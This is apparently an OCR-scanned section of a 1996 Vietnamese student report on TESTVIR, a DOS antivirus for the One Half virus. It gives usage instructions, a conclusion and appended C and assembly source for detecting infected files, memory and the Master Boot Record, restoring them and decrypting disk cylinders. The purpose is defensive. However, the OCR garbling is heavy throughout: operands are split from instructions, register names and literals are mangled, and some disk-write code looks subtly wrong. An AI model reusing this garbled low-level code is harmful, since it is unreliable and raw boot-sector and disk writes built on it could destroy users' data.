mov dx,OFFSET buff 1C ; con tro file vao

buff _1C

mov ah,3Fh

int 21h

jc doc_bi_loi

cmp ax,cx ; Khong du so byte can doc

jb dong_file

mov s1,OFFSET buff 1C

cmp byte ptr [s1],0E9h

je loc_test_file_com ; lenh dau tien la lenh nhay

E9?

cmp word ptr [si1],5A4Dh

je loc_test_file exe

Jjmp dong_file  ; neu khong thi ket thuc
loc_test file com:

call KT _FILE COM

cmp ax,0

je dong_file = ; Khong bi nhiem nen dong file

lai

call com_da_bi_nhiem

jmp dong_file
loc_test file exe:

call KT FILE EXE

cmp ax,0

je dong_file  ; Khong bi nhiem nen dong file

lai
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call exe_da_bi_nhiem
jmp dong_file
dong_file:
call dong_file_handle
cmp ax,1
je dong_bi_loi
jmp loc_kt
doc_bi_loi:
call thong_bao_loi_doc
Jjmp dong_file
mo_bi_loi:
call thong_bao_loi_mo
jmp loc_kt
dong_bi_loi:
call thong_bao_loi_dong
jmp loc_kt
loc_kt:
ret

KT_FILE_COM PROC ; Kiem tra file not EXE (la file COM

hoac khac)
; Tra ve gia tri trong thanh ghi ax
; ax=1 neu b1 nhiem One Half

; ax=0 neu khong bi nhiem hoac trong qua trinh doc bi

loi

push es
push bx
push CX
push dx
push sl
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push di
mov dx,word ptr [si+1] ; Byte dau la lenh nhay thi
[si+1]
; la dia chi nhay
add dx,3 ; Cong them 3 byte cua lenh nhay
truoc
XOr ax,ax
mov €s,ax
mov Header_Size,ax
call test_oh_file
pop di
pop sl
pop dx
pop CX
pop bx
pop es
ret

KT_FILE_COM ENDP

o 3k s sk st ke she sk st ke she sk st sk she sk st sk she sk ste sk sk sk st se sk sk st she sk st sk ske sk steske sk sk st sk sk skeskeok
b

KT _FILE EXE PROC ; Kiem tra file .EXE
; Tra ve gia tri trong thanh ghi ax
; ax=1 neu bi nhiem One Half
; ax=0 neu khong bi nhiem hoac trong qua trinh doc bi

loi

push es
push bx
push CX
push dx
push sl
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push
mov
mov
mov
mov
mov
shl
mov
call
pop
pop
pop
pop
pop
pop
ret

di

dx,word ptr [si+ExelP]
ax,word ptr [si+ReloCS]
es,ax

ax,word ptr [si+HdrSize]
cl4

ax,cl

Header_ Size,ax
test_oh_file

di

si

dx

cX

bx

es

KT_FILE_EXE ENDP

o 3 s sk st ke sfe sk sk sk sk sk st sk sk sk ke se sk stk sk sk stk sk skeoskeok
9

TEST_OH_FILE PROC
; La tha tuc kiem tra xem file c6 cac doan ma do virus

thay thé

; hay khong, néu c6 lay kich thudc, gia tri ma hoa ban

dau

; va gia tri tang trong qua trinh ma ho4.

; Gia tri tra lai trong thanh ghi ax

; ax=1 la file da bi nhiém, nguoc lai ax=0
TEST_OH_FILE ENDP

« 3 ofe sk st s sfe sk sk sfe sk sk sk sfe sk sk sk sk sk st sk sk s st se sk s sk ske s sk sk s sk
b
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XD_VT_FILE PROC
: Xac dinh vi tr1 cua file .EXE can doc
; vol segment CS trong es,
; offset IP trong dx
; Gia tri tra lai trong cx:dx

push ax

mov ax,es

Xor CX,CX

clc

shl ax,1

rcl cx,1

shl ax, 1

rcl cx,1

shl ax,1

rcl cx,1

shl ax, 1

rcl cx,1

add dx,ax

adc cx,0

add dx,Header Size
adc cx,0 ; cx:dx la vi tri ma CS:IP bat dau thuc
hien lenh

and ¢x,000Fh

pop ax

ret

XD_VT_FILE ENDP

« 3k o sk st s she sk sk st sk sk sk sfe sk sk sk sk sk st sk sk sl st se sk s sk sfe s sk sk sk sk
b
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KHOI_PHUC_FILE_COM PROC

push
push
push
push
push
push
mov
XOor

call
Virus

cmp
je
mov
cua virus.
mov
mov
nt
120h byte
jc
cmp
jb
mov
mov
dec
loop_giai_ma:
Xor
add
Inc
loop

ax

bx

cX

dx

si

di

dx.kich_thuoc

CX,CX

dat_tro_file ; Dat tro file ve phan dau cua

ax, 1
khong_khoi_phuc_duoc
dx,OFFSET buff_temp ; buff luu phan dau

cx,120h
ah,3Fh
21h ; Doc phan dau cua virus oh gom

khong_khoi_phuc_duoc
ax,cx
khong_khoi_phuc_duoc
si, OFFSET buff_temp
dx,ma_hoa_file

cX

word ptr [si],dx
dx,tang_ma_hoa_file
si

loop_giai_ma
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mov

mov

add
dau tien

add
mov

si, OFFSET buff_temp
dx,si
dx,40h ; Offset cua du lieu tra lai cua doan

s1,2Ah ; Dia chi doan dau tien
cx,0Ah ; lap cho 10 doan

loop_thay_the_file:

push
push

mov
file COM

sub
file COM

XOr
call
pop
pop
cmp
je
push
mov

cX
dx
dx,word ptr [si] ; Vi tri cua doan thay the voi

dx,100h ; lui lai 100 byte cua dau

CX,CX

dat_tro_file

dx

cX

ax, 1

khong_khoi_phuc_duoc

cX

cx,0Ah ; Ghi 10 byte tu DS:DX vao vi tri

con tro file.

mov
nt

tro file
pop
inc

Inc
add
loop

ah,40h
21h ; Ghi 10 byte tu DS:DX vao vi tri con

cX
s

si

dx,0Ah
loop_thay_the_file
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; duoi day thay 3 byte dau tien

Xor CX,CX

XOr dx,dx

call dat_tro_file

mov dx,OFFSET buff_temp

add dx,10h

mov cx,3

mov ah,40h

int 21h

; Duoi day la cat file

mov dx.kich_thuoc

Xor CX,CX

call dat_tro_file

mov cx,0

mov ah,40h

int 21h

jmp khoi_phuc_xong
khong_khoi_phuc_duoc:

call xuong_dong

mov dx,OFFSET mess_loi_khoi_phuc

mov ah,09h

nt 21h

jmp ket_thuc_khoi_phuc
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khoi_phuc_xong:

call xuong_dong

mov dx,OFFSET mess_khoi_phuc_xong

mov ah,09h

int 21h
ket_thuc_khoi_phuc:

pop di

pop sl

pop dx

pop cX

pop bx

pop ax

ret

KHOI_PHUC_FILE_COM ENDP

o 3k sfe sk st ke she sk st ke she sk st ske sk sk st ske sk sk ste se sk sk st se sk sleskeske sk sk sk
b

KHOI_PHUC_FILE_EXE PROC

push es

push ax

push bx

push CX

push dx

push si

push di

mov dx.,kich_thuoc

add dx,100h ; o phan tren kt da tru 100h cua file
com

mov s1,OFFSET buff_1C
mov ax,word ptr [si+ReloCS]
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mov
call

call
virus

cmp
je

mov

cua virus.
mov

mov

nt

120h byte
jc

cmp

jb

mov

mov

dec

es,ax
xd_vt_file
dat_tro_file ; Dat tro file ve phan dau cua

ax, 1
khong_khoi_phuc_duoc_exe_1
dx,OFFSET buff_temp ; buff luu phan dau

cx,120h
ah,3Fh
21h ; Doc phan dau cua virus oh gom

khong_khoi_phuc_duoc_exe_1
ax,Ccx
khong_khoi_phuc_duoc_exe_1
si, OFFSET buff_temp
dx,ma_hoa_file

cX

loop_giai_ma_exe:

XOr
add
inc
loop
mov
mov

add
dau tien

add
mov

word ptr [si],dx

dx,tang_ma_hoa_file

s

loop_giai_ma_exe

si, OFFSET buff_temp

dx,si

dx,40h ; Offset cua du lieu tra lai cua doan

si,2Ah  ; Dia chi doan dau tien
cx,0Ah ; lap cho 10 doan

loop_thay_the_file_exe:
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push CX

push dx

mov dx,word ptr [s1] ; Vi tri cua doan thay the voi

file EXE

call xd_vt_file ; trong modul nay da duoc cong

them header

call dat_tro_file

pop dx

pop CX

cmp ax,1

je khong_khoi_phuc_duoc_exe_1

push CX

mov cx,0Ah ; Ghi 10 byte tu DS:DX vao vi tri con

tro file.

mov ah,40h

int 21h ; Ghi 10 byte tu DS:DX vao vi tri con

tro file

pop CX

inc sl

inc sl

add dx,0Ah

loop loop_thay_the_file_exe

jmp xd_exe_header
khong_khoi_phuc_duoc_exe_1:

jmp khong_khoi_phuc_duoc_exe

; Xay dung lai Exe Header

xd_exe_header:

mov si, OFFSET buff_temp

mov di,OFFSET buff 1C

mov ax,word ptr [si+16h]
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mov
mov
mov
mov
mov
mov
mov
mov
mov

sub
Half

28h
add
cmp
jb
sub
Inc

word ptr [di+ReloCnt],ax ; Lay lai ReloCount
ax,word ptr [si+1eh]

word ptr [di+ReloSS],ax ; Lay lai ReloSS
ax,word ptr [si+20h]

word ptr [di+ExeSP],ax ; Lay lai ExeSP
ax,word ptr [si+24h]

word ptr [di+ExelP],ax ; Lay lai ExelP
ax,word ptr [si+26h]

word ptr [di+ReloCS],ax ; Lay lai ReloCS
word ptr [di+PageCnt],7 ; Kich thuoc cua One

; chiem 7 trang, con thieu

word ptr [di+PartPag],28h
word ptr [di+PartPag],200h
ghi_exe_header

word ptr [di+PartPag],200h
word ptr [di+PageCnt]

ghi_exe_header:

XOr
XOr
call
mov
mov
mov
nt

mov
add
call

CX,CX
dx,dx
dat_tro_file
dx,OFFSET buff_1C
cx,1Ch
ah,40h
21h

; Duoi day la cat file
dx.kich_thuoc
dx,100h
xd_vt_file
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call dat_tro_file ; Dat tro file ve phan dau cua

virus

mov cx,0

mov ah,40h

int 21h ; Cat file tai day

jmp khoi_phuc_xong_exe
khong_khoi_phuc_duoc_exe:

call xuong_dong

mov dx,OFFSET mess_loi_khoi_phuc

mov ah,09h

int 21h

Jjmp ket_thuc_khoi_phuc_exe
khoi_phuc_xong_exe:

call xuong_dong

mov dx,OFFSET mess_khoi_phuc_xong

mov ah,09h

nt 21h
ket_thuc_khoi_phuc_exe:

pop di

pop sl

pop dx

pop cX

pop bx

pop ax

pop es

ret

KHOI_PHUC_FILE_EXE ENDP

4. Huong dan su dung chuong trinh.
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Modul hé théng dugc viét bang ngon ngit C, modul hé thong
nay goi cac modul con duoc viét trén ngon ngit Assembler. Cac
modul con tap trung giai quyét 3 van dé chinh da noéi trong phan
thi€t k& chuong trinh 1a: Kiém tra bo nhé trong, kiém tra trén
sector khoi dong hé thong va kiém tra trén file. T4t ca chiing duogc
dich va lién két tao thanh file kha thi TESTVIR.EXE. Modul hé
thong st dung tham so trén dong lénh, tham s6 nay 1a tén 6 dia
(drive), tén dudng dan (path) ma chuong trinh s& kiém tra trén hé
thong duong dan nay.

Dé khoi dong chuong trinh, tai ddu moi hé théng, danh I1énh:

TESTVIR <drive>[path]

Vi du:

TESTVIR C:
hoac TESTVIR C\DOS

Néu khong tim thay tham so trén dong 1énh (tdc 1a chi ¢6 tén
chuong trinh, khong c¢6 tén 6 dia va dudong dan), chuong trinh sé
dua ra mot thong bao huéng dan cach khéi dong chuong trinh nhu
da néi & trén.

Sau khi khéi dong, chuong trinh s€ tuan tu ti€n hanh cac cong
viéc sau day:

- Kiém tra bo nhé trong: Dau tién, chuong trinh s& tim file
VMEM.DAT. Néu khong tim dugc file trén dia s€ thong bao
khong tim duoc file dit liéu nay va s€ ngat toan bd chuong trinh.
Trong truong hop tim dugc file sé so sanh doi chi€u cac ma nhan
bi€t virus trong file VMEM.DAT véi bo nhé trong. Néu tim thay
ma cua virus nao do, sé thong bao su c6 mat cta virus d6 trong bo
nhé va ciing s&€ ngit toan bd chuong trinh, cdon néu khong tim
dugc sé& tiép tuc so sanh doi chiéu téng dung lugng bo nhé (tai
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0:413h) va dia chi cta ngat 21h (tai 0:84h). Néu bd nhé khong du
640K hodc dia chi clia ngit 21h bi sai, chuong trinh s& dua ra
thong bao va hoi nguoi st dung xem cd ti€p tuc hay khong (chon
Y dé ti€p tuc, chon N dé khong ti€p tuc). Néu khong tiép tuc nita,
hé thong chuong trinh s& ngit, con néu tiép tuc, s€ chuyén sang
cong viéc tiép theo.

- Kiém tra Master Boot (MB): Chuong trinh s& tién hanh doc
MB trén dia can kiém tra va so sanh véi MB chuén, trong trudng
hgp trung nhau, thi chuong trinh s€ thong bao "Master Boot OK!"
va s€ tiép tuc cong viéc ti€p theo.

Trong truong hop khong trung nhau, chuong trinh s€ tim file
ma nhan biét virus (VMB.DAT) dé doi chi€u. Néu khong tim thay
file, s&€ thong bao va ngat hé thong, trong trudng hop tim thiy file
s€ ti€n hanh doi chiéu. Néu tim thdy ma nhan biét cua virus nao
dé trong MB, hé thong s€ hoi nguoi st dung xem cé khoi phuc
MB hay khong (chon Y hoac N nhu trén), néu khong khoi phuc,
cong viéc ti€p theo duoc tién hanh, con néu khoi phuc, chuong
trinh s€ can cif vdo thong tin vé virus ndy dé khoi phuc lai MB cii
trudc khi bi virus d6 1ay nhiém. Sau khi khoi phuc xong, quay trd
lai dé ki€ém tra chinh MB vira khoi phuc. Trong trudng hop MB
khong chuin, nhung khong phat hién dugc ma nhan biét cla
virus, chuong trinh s€ hoi nguoi st dung xem c6 d¢ mot MB
chudn 1én vi tri cia MB khong (chon Y hodc N nhu trén). Néu
ngudi st dung dong ¥, mot ban MB chudn duoc de& vao vi tri clia
MB, con néu khong dong y, thi s& bo qua va ti€p tuc cong viéc
sau.

- Kiém tra file: Theo dudng dan duoc chi ra, file s& dugc
kiém tra. Néu phdt hién duogc virus, chuong trinh s& hoi ngudi si
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dung xem c¢6 khoi phuc file bi nhiém d6 khong (chon Y hoac N).
Néu dong y, file bi nhiém s& duoc khoi phuc.

Sau toan bo quéa trinh ki€ém tra, chuong trinh s& hién thi trén
man hinh cac thong tin tém lugc trong quéa trinh kiém tra nhu tinh
trang MB, s6 luong file da kiém tra, so luong file bi lay nhiém va
sO lugng file da khoi phuc.

5. Nhdn xét, két ludn.

Chuong trinh duoc viét hién nay chu yéu xu 1y doi véi virus
One Half, song duoc thi€t k&€ véi tinh md. Cac ma nhan biét cac
virus m&i sau khi dugc nghién cttu, cap nhat ma nhan biét vao cac
file ma nhan biét thi chuong trinh cling sé diét va khoi phuc doi
véi loai virus do.

So vGi cac chuong trinh hién nay nhan biét dugc virus One
Half, mot s6 chuong trinh mac du phat hién dugc song chua tiéu
diét va khoi phuc duoc trén ca MB va file, mot di€u quan trong
khac 1a hau hét déu chua dat van dé dén viéc giai ma lai cac di
liéu trén dia da bi virus One Half ma ho4, nghia la doi v6i Master
Boot, m&i chi dat van dé chuyén tra lai Master Boot cii trude khi
One Half lay nhiém vé vi tri cii cia n6 trén dia. Chuong trinh trén
d6 4n nay da c6 gang xem xét dén moi khia canh hoat dong cua
One Half, trén co s& d6 ¢6 ging giai quyét moi van dé trén Master
Boot, trén file cling nhu giai ma phan thong tin da bi One Half ma
ho4 trén dia.

Mic du da c¢6 co gang, song chuong trinh 12 ban dau tién,
kinh nghiém thuc t€ chua nhiéu, khong tranh khoi nhitng han ché
nhét dinh. Nhitng han ché nay s& din duoc khic phuc trong cac
version sau nay.
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Phu luc.

LIET KE CHUONG TRINH NGUON

FILE 1: TESTVIR.C

#include <stdio.h>
#include <dos.h>
#include <conio.h>
#include <alloc.h>
#include <string.h>
#include <stdlib.h>

extern int test_mem(void);
extern int test_vir_mem(void);
extern int test_vir_mb(void);
extern int khoi_phuc_mb(void);
extern int giai_ma_oh(void);
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extern int de_mb_chuan(void);
extern int test_file(void);
extern int save_screen(void);
extern int store_screen(void);

char far * buff track;
char mota[80], duongdan[80], tenfile[80];

int main(int argc, char *argv[])
{

int gttest_mem,gttest_vmem;
int gttest_vmb;
int loop=1;
char *doi,cont;
int 1=0;
textbackground(1);
textcolor(15);
clrscr();
trinh_bay();
if(argc==1) {

huongdan();

return O;
}
doi=strupr(argv[1]);
while (*do1!="\0") {
mota[i]=duongdan[i]=tenfile[i]=*do1;
doi++;
1++;
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}

if(mota[i-1]!="\) {
duongdan[i]=tenfile[i]=mota[i]="\\; i++;

}

duongdan(i]=tenfile[i]="\0';

mota[i] = "*';

motali+1] =".";

mota[1+2] = "*';

mota[i+3] = \O';

gttest_vmem=test_vir_mem();
if(gttest_vmem==1 |l gttest_vmem==3) return 1;
else {
gttest_mem=test_mem();
switch(gttest_mem) {
case 1:
cont=f_message(1," Vung nho khong du 640K

" Co tiep tuc khong <Y/N>? ");
break;
case 2:
cont=f_message(1," Dia chi Int21h sai !",
"Co tiep tuc khong <Y/N>?7");
break;
case 3:

cont=f_message(1,"Vung nho khong du 640K va
dia chi Int21h bi sai!", "™\n Co tiep tuc
khong <Y/N>?");
break;
default:
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f_message(0,"Kiem tra thay Memory tot!",
"Press any key to continue");
cont="Y";

}

if(cont=='N'llcont=="n") return 1;

do {
gttest_vmb=test_vir_mb();
switch(gttest_vmb) {

case 1: /* Phat hien ra VR */

cont=f_message(1,"Master Boot nhiem virus One

Half", "Co giai ma phan thong tin bi virus OH ma
hoa khong <Y/N>?");

if(cont=="Y" Il cont=="y") {
printf("\n Giai ma thong tin tren dia : \n");
buff_track=(char *)malloc(32256); /*63 sector*/
if(buff_track==NULL) exit(1);
giai_ma_oh();
free((void *)buff_track);

}

cont=f_message(1,"","Co khoi phuc Master Boot khong
<Y/N> "),

if(cont=="Y'llcont=="y") {
khoi_phuc_mb();
loop=1;

)

else loop=0;
break;
case 2: /* Not OK song khong phat hien ra VR*/
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cont=f_message(1,"Master Boot khong chuan,",
"Co de Master Boot chuan khong <Y/N> ?

if(cont==1) {
de_mb_chuan();
printf("\n Da khoi phuc xong Master Boot\n\n");
}
loop=0;
break;
case 3:

f_message(0,"Loi doc dia","Press any key to
continue...");

return 1;
default:
f_message(0,"Master Boot OK!",
"Press any key to continue...");
printf("\n Master Boot OK \n\n");
loop=0;
}

} while (loop>0);

printf(" Test File \n\n");

test_file();

return O;

f_message(int ques, char *mess1, char *mess2)

{
int length,left,top,right,bottom,space=10;
Int row_cursor,column_ cursor;
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char ch;

int 11,12;

save_screen();
column_cursor=wherex();
row_cursor=wherey();
11=strlen(mess1);
12=strlen(mess2);
length=lI1;

if(length<12) length=12;
length+=space;

left=(80-length)/2;

top=11;

right=left+length-1;
bottom=14;
window(left,top,right,bottom);
textbackground(MAGENTA);
clrscr();

gotoxy((length-11)/2,2);
puts(mess1);
gotoxy((length-12)/2,3);
puts(mess2);
if(ques==1)
while(1) {
ch=getch();
if(ch=="Y'llch=="y'llch=="N'llch=="n") break;
}
else
ch=getch();
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store_screen();

window(1,1,80,25);
gotoxy(column_cursor,row_cursor);
return ch;

}

/ K % /

int huongdan()

{

printf("\n Command:");

printf("\n Testvir <drive:>[path]");
printf("\n For example:");
printf("n Testvir C:");

printf("\n Testvir C:\DOS");
return 1;

int trinh_bay()
{

printf("\n TESTVIR Ver 1.0 04.1996");

printf("\n Copyright by Nguyen The Hong Luc - DHBK Ha
noi");

Printf("™\n - ");

return 1;

)
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FILE 2: TESTMEM.ASM

.model small
.data

int21 620 dw 40F8h
dw 0019h
adr_int21 equ 084h

mntl3 620 dw 0774h
dw 0070h
adr_int13 equ 04Ch

adr_totalmem equ 0413h
vir_mem db 19h dup(0)
file. vimem db 'VMEM.DAT"0

message_read_file_error db 'File VMEM.DAT not
found!$'

message_lost_mem  db 'Vung nho dos DOS quan ly
khong du 640 KB $'

message_error_ver db 'Khong kiem tra duoc dia chi
ngat 21h ung voi ver nay$'

message_error_verl  db 'Hay khoi dong bang dia kiem
tra nay (dos 6.20) roi testvir$'

message_press_any_key db 'An phim bat ky de tiep
tuc...$’

message_virus_in_mem db "Trong memory co virus : $'
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.code

extrn xuong_dong : proc
extrn write_screen : proc
extrn press_any_key : proc
extrn hoi : proc

public _test_mem
_test_mem proc

push
push
mov
mov
Xor
mov
push
mov
mov
cmp
pop
jz
mov
call
call
mov

es
ds

ax,(@data

ds,ax

ax,ax

es,ax ; es=0

ax

bx,adr_totalmem

ax,es:[bx]

ax,0280h ; Co du 640K hay khong
ax

test_int ; Neu du thi test_interupt
dx,OFFSET message_lost_mem
write_screen

xuong_dong

ax, 1

; jmp Vir_in_memory

test_int:

; MOV

: les

; cmp

bx,adr_intl3
ax,es:[bx] ; ax=offset_int13, es=seg_int13
ax,off intl3
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; Nz Vir_in_memory
; MOV ax,es
; cmp ax,seg_intl3
; Jnz vir_in_memory
push ax
mov ah,30h
nt 21h
ver_620:
cmp ax,1406h ; DOS 6.20
jnz ver_other
mov dx,OFFSET int21_620
jmp continue
ver_other:
mov dx,OFFSET message_error_ver
call write_screen
call xuong_dong
mov dx,OFFSET message_press_any_key
call write_screen
call xuong_dong
call press_any_key
mov ax,0FFFFh
push ax
mov ax,0
push ax
retf
continue:
Xor ax,ax
mov es,ax
mov bx,OFFSET adr_int21
les ax,es:[bx]
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mov bx,dx
cmp ax,word ptr [bx]
jnz error_int21
mov ax,es
cmp ax,word ptr [bx+2]
jnz error_int21
pop ax
jmp test_end
error_int21:
pop ax
add ax,2
test_end:
pop ds
pop es
ret

_test_mem endp

public _test_vir_mem
_test_vir_mem proc
push ds
push es
mov dx,OFFSET file_ vmem
mov ax,3D00h

nt 21h ; Mo file_vmb de doc, handle dat o AX
jc loi_doc_file
mov bx,ax

read_vir:

mov ah,3Fh
mov dx,OFFSET vir_mem
mov cx,19h ; moi lan doc 25 byte
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int
cmp

mov

mov
nho

mov

mov
nho

mov
mov
XOor
add
cld
repe
jne
call
mov
call
mov
add
call
call
mov
jmp

het_file:
mov

d_file:
push
mov

21h

ax,cx

het_file

s1,OFFSET vir_mem

ax,word ptr [s1] ; Segment cua virus trong bo

€s,ax
ax,word ptr [si+2] ; Offset cua virus trong bo

di,ax

cl,byte ptr [si+4]
ch,ch

1,5

cmpsb

read_vir

xuong_dong
dx,OFFSET message_virus_in_mem
write_screen
dx,OFFSET vir_ mem
dx,0Fh

write_screen
xuong_dong

ax,1

d_file

ax,2

ax
ah,3Eh ; Dong file, handle o BX
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int 21h
pop ax
jmp kt_kiem_tra
loi_doc_file:
mov dx,OFFSET message_read_file_error
call write_screen
call xuong_dong
mov ax,3
kt kiem_tra:
pop es
pop ds
ret

_test_vir_mem endp
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FILE 3: TESTMAST.ASM

.model small

.data

mb_chuan db OFAh, 033h, 0COh, O8Eh, 0DOh, OBCh, 000h,
07Ch

db 08Bh, 0F4h, 050h, 007h, 050h, O1Fh, OFBh,
OFCh

db 0BFh, 000h, 006h, 0B9h, 000h, 001h, OF2h,
0ASh

db OEAh, 01Dh, 006h, 000h, 000h, OBEh, OBEh,
007h

db 0B3h, 004h, 080h, 03Ch, 080h, 074h, OOEh,
080h

db 03Ch, 000h, 075h, 01Ch, 083h, 0C6h, 010h,
OFEh

db 0CBh, 075h, OEFh, OCDh, 018h, 08Bh, 014h,
08Bh

db 04Ch, 002h, 08Bh, OEEh, 083h, 0C6h, 010h,
OFEh

db 0CBh, 074h, 01Ah, 080h, 03Ch, 000h, 074h,
O0F4h

db OBEh, 08Bh, 006h, 0ACh, 03Ch, 000h, 074h,
00Bh

db 056h, 0BBh, 007h, 000h, 0B4h, O0Eh, OCDh,
010h

db 05Eh, OEBh, OFOh, OEBh, OFEh, OBFh, 005h,
000h

db 0BBh, 000h, 07Ch, 0B8h, 001h, 002h, 057h,
0CDh

db 013h, 05Fh, 073h, 00Ch, 033h, 0COh, OCDh,
013h
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db 04Fh, 075h, OEDh, OBEh, 0A3h, 006h, OEBh,
0D3h

db OBEh, 0C2h, 006h, 0BFh, OFEh, 07Dh, 081h,
03Dh

db 055h, 0AAh, 075h, 0C7h, 08 Bh, OF5h, OEAh,
000h

db 07Ch, 000h, 000h, 049h, O6Eh, 076h, 061h,
06Ch

db 069h, 064h, 020h, 070h, 061h, 072h, 074h,
069h

db 074h, 069h, 06Fh, 06Eh, 020h, 074h, 061h,
062h

db 06Ch, 065h, 000h, 045h, 072h, 072h, 06Fh,
072h

db 020h, 06Ch, 06Fh, 061h, 064h, 069h, 06Eh,
067h

db 020h, 06Fh, 070h, 065h, 072h, 061h, 074h,
069h

db 06Eh, 067h, 020h, 073h, 079h, 073h, 074h,
065h

db 06Dh, 000h, 04Dh, 069h, 073h, 073h, 069,
06Eh

db 067h, 020h, O6Fh, 070h, 065h, 072h, 061h,
074h

db 069h, O6Eh, 067h, 020h, 073h, 079h, 073h,
074h

db 065h, 06Dh

extrn _buff track : dword
file. vmb db 'VMB.DAT',0

mb_ktra db 200h dup(0) ; Buffer Master Boot kiem
tra
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buff_temp db 200h dup(0) ; Chua cac sector tam thoi

kt ss db ODAh ; Kich thuoc phan dau Master Boot
de so sanh

buff_vir db 1Ah dup(0) ; Buffer luu ma nhan biet
cua mot virus

value_xor dw 0

mess_read_file_error  db 'File VMB.DAT not found!$'

mess1 db "Trong Master Boot da tim thay
virus : §'
mess_loi_dia db 'Error reading hard disk $'

mess_loi_khoi_phuc db 'Khong khoi phuc duoc!$'
mess_loi_partition db 'Partition bi loi! Khong khoi phuc

duoc! §'
mess_giaimal db 'Giai ma cac Cylinder tu : §'
mess_giaima2 db'den: §'
mess_vitri_giaimal db 'Dang giai ma Cylinder : $'
mess_giai_ma_xong  db 'Da giai ma xong!$'
mess_vitri_giaima2 db ' Header : $'
space db' $

.code

extrn xuong_dong : proc
extrn ve_dau_dong : proc
extrn write_screen : proc
extrn press_any_key : proc
extrn hoi : proc
extrn write_hex to dec : proc
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public _test_vir_mb
_test_vir_mb proc
:Gia tri cua ham: O : MasterBoot OK
: 1 : Phat hien ra VIR
; 2 : Master Boot la song khong phat hien ra VIR
: 3 : Loi doc dia hoac file VMB.DAT

push
push
push
push
mov
mov
mov
lea
mov
mov
mov
int
jc
lea
lea
mov
XOr
cld
repe
je
call

cmp
khong

es

ds

si

di

ax,(@data
ds,ax

es,ax
bx,mb_ktra
dx,80h

cx,1
ax,0201h
13h
error_reading
si,mb_chuan
di,mb_ktra
cl.kt_ss
ch,ch

cmpsb
mb_ok
test._ mb_dat ; ktra mb_ktra voi mb.dat

ax, 1 ; ax = 1 : phat hien duoc, ax= 2

: ax=3 : Loi doc file VMB.DAT
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je
jmp
vir_in_mb:
call
mov
call
mov
add
call
mov
jmp
mb_ok:
mov
jmp
error_reading:
mov
call
mov
ketthuc:
pop
pop
pop
pop
ret

vir_in_mb
ketthuc

xuong_dong

dx,OFFSET mess1
write_screen

dx,OFFSET buff vir
dx,10h ; Hien thi ten virus
write_screen

ax, 1

ketthuc

ax,0
ketthuc

dx,OFFSET mess_loi_dia
write_screen
ax,3

di
S
ds
es

_test_vir_mb endp

test_mb_dat proc
; So sanh file VMB.DAT voi mb_kiemtra, neu co tra lai

ax=1

; nguoc lai khong tim thay tra lai ax=2, ax=3 neu co loi
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; doc file MB.DAT
push ds
push es
push sl
push di
mov ax,(@data
mov ds,ax
mov es,ax
mov dx,OFFSET file_ vmb
mov ax,3D00h
nt 21h : Mo file_vmb de doc, handle dat o
AX
jc loi_doc_file
mov bx,ax
read_vir:
mov ah,3Fh
mov dx,OFFSET buff vir
mov cx,1Ah ; moi lan doc 26 byte
int 21h
cmp ax,cx
jb het_file
mov s1,OFFSET buff vir
mov di,OFFSET mb_ktra
add di,[si] ; Dat DI toi1 offset can so sanh
mov cl,byte ptr [si+2]
XOr ch,ch ; ¢x luu so byte can so sanh
add s1,3 ; 1 tro to1 offset codevir
cld
repe cmpsb
jne read_vir
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mov ax, 1

jmp d_file
het_file:

mov ax,2
d_file:

push ax

mov ah,3Eh ; Dong file, handle o BX

int 21h

pop ax

jmp kt kiem_tra
loi_doc_file:

mov dx,OFFSET mess_read_file error

mov ah,09h

nt 21h

mov ax,3
kt kiem_tra:

pop di

pop sl

pop es

pop ds

ret

test_mb_dat endp

public _khoi_phuc_mb
_khoi_phuc_mb proc

push es
push ds
push si
push di
mov ax,(@data
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mov
mov
mov
mov
nt
cl:Cyl-Sec
jc
mov
and
mov
add
mov
mov
mov
and
sub
and
or
mov
mov
mov
mov
push
nt
pop
jc
mov
mov
Inc
push

ds,ax

es,ax

dl,80h

ah,08h

13h ; Lay tham so o dia: dh:side, ch-

loi_dia

al,cl

al,3Fh ; Total sector/track
s1,OFFSET buff vir

s1,0Dh

ch,byte ptr [si+1]

cl,byte ptr [si+2]

dl,cl

dl,3Fh ; So sector bi lui

al,dl  ; al luu sector number cat giu
¢x,0FFCOh

cl,al

dh,byte ptr [si]
bx,OFFSET mb_ktra
dl,80h
ax,0201h

ax

13h

ax
loi_khoi_phuc
dx,80h
cx,0001h

ah

ax
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int 13h
pop ax
jc loi_khoi_phuc
mov ax,0
jmp kt_khoi_phuc
loi_dia:
mov dx,OFFSET mess_loi_dia
call write_screen
mov ax,2

jmp kt_khoi_phuc
loi_khoi_phuc:
mov dx,OFFSET mess_loi_khoi_phuc

call write_screen

mov ax, 1
kt_khoi_phuc:

pop di

pop sl

pop ds

pop es

ret

_khoi_phuc_mb endp

public _de_mb_chuan

; Giu nguyen phan tham so (bat dau tu 01BE), chuyen
phan ma cua

; Master Boot chuan vao phan dau cua Master Boot

sector.
_de_mb_chuan proc

push ds

push es
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push
push
mov
mov
mov
mov
mov
mov
cld
rep
mov
loop_fill_O:
mov
inc
loop
add
mov
mov
mov
mov
mov
int
jc
mov

S

di

ax,(@data

ds,ax

es,ax

s1,OFFSET mb_chuan
di,OFFSET mb_ktra
cx,0DAh

movsb
cx,0E4h

byte ptr [di],0

di

loop_fill_0

di,40h

word ptr [di],0AAS5h
dx,0080h

cx,0001h
bx,OFFSET mb_ktra
ax,0301h

21h

loi_ghi_dia

ax,0

kt de_mb_chuan:

pop
pop
pop
pop
ret

di
si
es
ds
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loi_ghi_dia:
mov dx,OFFSET mess_loi_dia
call write_screen
mov ax, 1
jmp kt de_mb chuan

_de_mb_chuan endp

o 3k sfe sk st ke she sk st ke she sk st sk she sk st ske sk sk st sk sk sk sk se sk sleskeske sk sl sk sk
b

public _giai_ma_oh
; Giai ma phan du lieu tren dia da bi ma hoa boi VR One
Half trong
; truong hop Master Boot bi nhiem VR One Half.

_giai_ma_oh proc

push ds
push es
push sl
push di

mov s1,OFFSET mb_ktra
mov di,word ptr [si+29h] ; DI chua Cyl da bi ma

hoa

mov dl,80h

mov ah,08h ; Lay tham so o dia cung: DH: Head
MAX

nt 13h ; CH: Cyl MAX, CL: Sector MAX
call lay_value_xor_oh

call lay_cylinder_max ; Lay Cylinder lon nhat,
dat vao si

cmp ax,l

je loi_partition
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call thong_bao_giai_ma ; Thong bao giai ma
tu dau den dau
; va hoi xem co dong y

khong
; neu khong dong y, ax=0
cmp ax,0 ; Khong dong y
je loc_4
mov ax,cx
cmp si,di
jbe loc_4
and al,3Fh ; al luu so sector tren dia
mov dl,80h
mov cl,1
